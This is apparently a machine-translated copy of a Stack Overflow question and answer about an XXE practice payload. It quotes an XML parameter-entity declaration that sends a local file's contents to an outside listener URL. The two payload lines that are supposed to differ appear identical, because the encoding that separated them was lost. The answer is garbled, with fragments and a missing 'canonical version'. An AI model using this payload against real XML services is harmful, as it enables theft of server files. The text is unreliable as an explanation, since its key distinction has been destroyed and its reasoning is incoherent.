当我练习XXE时,我发现当我使用下面的DTD实体发送我的请求时,它是有效的。
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
但是当我发这个的时候它不起作用。
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
它们之间的区别是"%“和"%",我想知道为什么当我在这里直接使用"%”时它不起作用。谢谢。
发布于 2021-10-17 02:30:06
这是%
文件的PARAMETER ENTITY声明中的一个超文本标记语言编码的百分号(转义序列)--为了不破坏语法,XML使用超文本标记语言编码。
在Android XML中也是如此,它也知道%%
...
在这里,原始的%
通常用于替换。
规范版本将是:
因为XML语法对标记和属性使用了一些字符,所以不可能直接在XML标记或属性值中使用这些字符。
这就是为什么XML中的一些特殊字符的行为类似于“保留关键字”。
https://stackoverflow.com/questions/69600886
复制相似问题